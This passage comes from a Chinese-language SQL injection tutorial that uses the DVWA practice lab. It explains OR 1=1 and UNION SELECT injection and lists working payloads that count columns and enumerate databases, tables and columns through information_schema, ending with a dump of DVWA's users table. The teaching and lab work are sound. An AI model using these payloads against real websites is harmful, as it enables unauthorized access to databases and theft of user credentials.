select * from users; //*是所有的意思,users是上面dvwa数据库下面的一个数据表 这样查询可以把users这个数据表中所有的数据结构以及它所对于的值(数据)全部爆出来
1.8 or的注入原理
1 2
select user,password,last_name from users where user='haoye' or 1=1; //意思是从users这个数据表中搜索一个user是haoye所以对应的user,paswword,last_name的数据;然而,其实并没有一个叫haoye的user,但是由于我们后面加了一个1=1的必然成立事件,所以无论前面的语句是否为真,这整条语句都是合法的,所以就会把users这个数据表下需要查找的3个数据结构的所有数据全部爆出来。
同时,利用 union select group_concat(字段名) from (库名.表名) 可以得到字段内容
比如说,当原本网站后台源码只查询2个字段,然而我们想要3个数据,我们就可以这样查询、
1 2
select 数据1,group_concat(数据2,数据2) from //这里就相当于数据1占据了一个位置,数据2和数据3占据同一个位置 或者 select 1,group_concat(数据1,数据2,数据3) from //这里select后面的的1只是一个随便代称,可以是随便的数字,为了占据一个位置,而后面3个数据占据同一个位置
5.常用注入语句
5.1 万能头
1
1' or 1=1# #是注释符号
5.2 查询字段长度
1 2 3
1' order by 1/2/3...# 或者 1' union select 1,2,3... //1,2,3就相当于下面的注入数据,当超过后端源码固定查找的字段个数时就会报错 当页面返回 Unknown column '3' in 'order clause'的类似字样时则,3前面的2是正确字段长度
为什么要知道字段长度,因为对于后端源码来说,执行的是select+要查找的数据,格式大概为select 数据1,数据2,数据3…,,所以我们在进行注入时就要符合后端源码的格式,后端是要查找几个字段,我们在注入时候就要select几个字段;例如,下面这个源码显示,可以看出该后台源码查找的只有两个字段,所以我们当order by 3的时候报错
5.3 union select联合查询
union 操作符用于合并两个或者多个 SQL 语句集合起来,得到联合的查询结果
6.实例
靶机:DVWA
low级别
6.1.1 查看字段
1
1' order by 1/2/3...#
6.1.2 查看数据库
1 2
1' union select 1,database()# select后面的1是为了占据一个位置;database()函数只能查询到当前页面的数据库
1 2 3
1' union select 1,group_concat(schema_name)from information_schema.schemata# 查询整个服务器上所有的数据库 //意思是从一个总库(服务器上库的集合)中查询所有的数据库
6.1.3 查看数据表
1 2
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema="dvwa"# //从一个数据表总库中查询所有的数据表,条件是要求这些数据表所在的数据库名为dvwa
6.1.4 查看数据结构
1 2
1' union select 1,group_concat(column_name)from information_schema.columns where table_name="users"# //从数据结构总库中查询所有的数据结构,要求这些数据结构所在的数据表为users
6.1.5 查看数据结构中的内容
1 2 3
1' union select 1,group_concat(user)from dvwa.users# dvwa.users就是数据库下的数据表 //从名叫dvwa数据库下的users这个数据表中搜索所有的user数据